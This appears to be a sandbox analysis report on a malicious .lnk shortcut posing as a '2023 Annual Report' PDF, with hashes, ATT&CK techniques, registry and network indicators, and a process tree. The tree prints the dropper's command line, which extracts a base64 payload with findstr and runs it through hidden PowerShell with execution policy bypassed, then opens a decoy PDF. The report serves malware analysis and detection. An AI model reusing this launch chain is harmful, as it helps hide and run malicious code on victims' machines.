ec01c971910cefaf107cd44a7d4c7e68d6e1659ee24c60340c505511d37104b3

Analysis

max time kernel
1313s
max time network
1320s
platform
windows11-21h2_x64
resource
win11-20231215-en
resource tags

arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
submitted
23-12-2023 21:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2023_Annual_Report.pdf.lnk
Size

55KB
MD5

bbc4414d76d1a765f3d525556f616ef9
SHA1

c73e28d87fbbc8be79ed1d421e78a41c29111a86
SHA256

86f504dea07fd952253904c468d83d9014a290e1ff5f2d103059638e07d14b09
SHA512

2a7204e361ace1c5c03bc240b985d09cc1f1e67dce025dca5ac9d450bc7193e456d3602ab557abd9bd7ec4d96815e41df06cdce9359379b32c0e777aa9d54be7
SSDEEP

768:NLoFJQeDHeGYyhA5Z7JsCVResXebqwVCYm7/k/m7RU6d/dwiuGIjsZL2RxcNRyxc:NLBWYX5Z7JsCVCbqECB7cOm0OoxUURV

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
17	1960	powershell.exe
18	1960	powershell.exe
19	1960	powershell.exe
25	1960	powershell.exe
26	1960	powershell.exe
27	1960	powershell.exe
28	1960	powershell.exe
29	1960	powershell.exe
30	1960	powershell.exe
33	1960	powershell.exe
36	1960	powershell.exe
37	1960	powershell.exe
38	1960	powershell.exe
39	1960	powershell.exe
40	1960	powershell.exe
41	1960	powershell.exe
42	1960	powershell.exe
43	1960	powershell.exe
46	1960	powershell.exe
47	1960	powershell.exe
48	1960	powershell.exe
54	1960	powershell.exe
55	1960	powershell.exe
56	1960	powershell.exe
57	1960	powershell.exe
58	1960	powershell.exe
59	1960	powershell.exe
60	1960	powershell.exe
61	1960	powershell.exe
62	1960	powershell.exe
63	1960	powershell.exe
64	1960	powershell.exe
65	1960	powershell.exe
66	1960	powershell.exe
67	1960	powershell.exe
68	1960	powershell.exe
69	1960	powershell.exe
70	1960	powershell.exe
71	1960	powershell.exe
73	1960	powershell.exe
74	1960	powershell.exe
75	1960	powershell.exe
78	1960	powershell.exe
79	1960	powershell.exe
80	1960	powershell.exe
81	1960	powershell.exe
82	1960	powershell.exe
83	1960	powershell.exe
84	1960	powershell.exe
85	1960	powershell.exe
86	1960	powershell.exe
87	1960	powershell.exe
88	1960	powershell.exe
89	1960	powershell.exe
90	1960	powershell.exe
91	1960	powershell.exe
92	1960	powershell.exe
93	1960	powershell.exe
94	1960	powershell.exe
95	1960	powershell.exe
96	1960	powershell.exe
97	1960	powershell.exe
98	1960	powershell.exe
99	1960	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2201820139-2432375203-2549035866-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2201820139-2432375203-2549035866-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
6008	powershell.exe
6008	powershell.exe
1960	powershell.exe
1960	powershell.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	6008	powershell.exe
Token: SeDebugPrivilege	1960	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2832	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe
2832	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 5916	2572	cmd.exe	81
PID 2572 wrote to memory of 5916	2572	cmd.exe	81
PID 5916 wrote to memory of 5200	5916	cmd.exe	82
PID 5916 wrote to memory of 5200	5916	cmd.exe	82
PID 5916 wrote to memory of 6008	5916	cmd.exe	83
PID 5916 wrote to memory of 6008	5916	cmd.exe	83
PID 6008 wrote to memory of 1960	6008	powershell.exe	84
PID 6008 wrote to memory of 1960	6008	powershell.exe	84
PID 1960 wrote to memory of 4548	1960	powershell.exe	86
PID 1960 wrote to memory of 4548	1960	powershell.exe	86
PID 1960 wrote to memory of 224	1960	powershell.exe	87
PID 1960 wrote to memory of 224	1960	powershell.exe	87
PID 1960 wrote to memory of 2832	1960	powershell.exe	88
PID 1960 wrote to memory of 2832	1960	powershell.exe	88
PID 1960 wrote to memory of 2832	1960	powershell.exe	88
PID 2832 wrote to memory of 3120	2832	AcroRd32.exe	89
PID 2832 wrote to memory of 3120	2832	AcroRd32.exe	89
PID 2832 wrote to memory of 3120	2832	AcroRd32.exe	89
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5500	3120	RdrCEF.exe	90
PID 3120 wrote to memory of 5780	3120	RdrCEF.exe	91
PID 3120 wrote to memory of 5780	3120	RdrCEF.exe	91
PID 3120 wrote to memory of 5780	3120	RdrCEF.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
224	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\2023_Annual_Report.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c start /B findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk > "C:\Users\Admin\AppData\Local\Temp\Temp.jpg" & start /B pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5916
- - C:\Windows\system32\findstr.exe
    findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk
    3⤵
    PID:5200
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:6008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      4⤵
      Blocklisted process makes network request
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1960
    - - C:\Windows\system32\findstr.exe
        
        "C:\Windows\system32\findstr.exe" /R JVBERi0xLjcNJeLjz9 2023_Annual_Report.pdf.lnk
        5⤵
        
        PID:4548
    - - C:\Windows\system32\attrib.exe
        
        "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Temp.jpg
        5⤵
        Views/modifies file attributes
        
        PID:224
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Important.pdf"
        5⤵
        Checks processor information in registry
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2832
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3120
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=84E86AA7F2A1AF256F0CAE3CABA7D62B --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=84E86AA7F2A1AF256F0CAE3CABA7D62B --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
        7⤵
        
        PID:5500
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=ECBE091FD842E6A1E45E214BE47CB189 --mojo-platform-channel-handle=1828 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:5780
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5B8703FDD5344672C6FAA397DD20FD47 --mojo-platform-channel-handle=2360 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:428
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3677EFB195EB9E9DEDD0DA4633FE2464 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3677EFB195EB9E9DEDD0DA4633FE2464 --renderer-client-id=5 --mojo-platform-channel-handle=1980 --allow-no-sandbox-job /prefetch:1
        7⤵
        
        PID:1352
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=2C82C40C0BD9E82DB3C966B567A6967C --mojo-platform-channel-handle=2604 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:5288
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8489DF240A810A0865DEEA5C020615EF --mojo-platform-channel-handle=2692 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        
        PID:4012

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
a615bce9aa4d5ae1330764ed85b7b0ee

SHA1
4de2c916ec792cab332b8d735776c01a2f1f78c1

SHA256
41e0bd5da8334012c85b13fc1e563a91b832b65c64991175e51a12cc07ad2da9

SHA512
7fa08d4347e66aa4bb56b9cd1f29a736d05f0bc480356325aa2e68d67610e7ae5bf828a76ed7bb6b0f7253bb35f3cf4e75f5b12a7d97847742554b1dee602989

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\Important.pdf

Filesize
35KB

MD5
76f18bc1e745e59e37141f2a9d336f6f

SHA1
289c50c79786a9e3ce559e7b6246305c26aa1082

SHA256
84f026998c5a547c8cc3ba8d86d3425097c501ae85a207c121288f6c1cf72710

SHA512
8b7c74ec13e4b8fc6c7cdb6ee161b203f99cf671ff72487bdce12f5d8c1ff73939bb31d6065fc1fcb41caa00ae07d8fab618848ec5f67748899586e498da496f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Temp.jpg

Filesize
7KB

MD5
50514f94115e319477095fbefa61257e

SHA1
004b3b8e4ace16db6fc954c10decf8856617ef12

SHA256
4339e02a2557b36934baf68b6e97daae04a3e118da2a66915e6200579594d8c6

SHA512
47f6a6f52e02cb7365e70e1637ad0f6e4c96c6f156ad794f3583eb8cbf1dc9af3b8a921ca2c754c2636bba2c2c6991204930502d171b2b41b72af78bfb7e2a49

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kxp4fu0.ah4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1960-63-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-14-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/1960-20-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-24-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-25-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-26-0x00000262BA880000-0x00000262BA8C6000-memory.dmp

Filesize
280KB

Download
memory/1960-177-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-144-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

Filesize
64KB

Download
memory/1960-76-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/6008-56-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/6008-67-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-9-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-75-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-62-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-10-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-12-0x000002876F540000-0x000002876F550000-memory.dmp

Filesize
64KB

Download
memory/6008-8-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

Filesize
10.8MB

Download
memory/6008-11-0x000002876F550000-0x000002876F572000-memory.dmp

Filesize
136KB

Download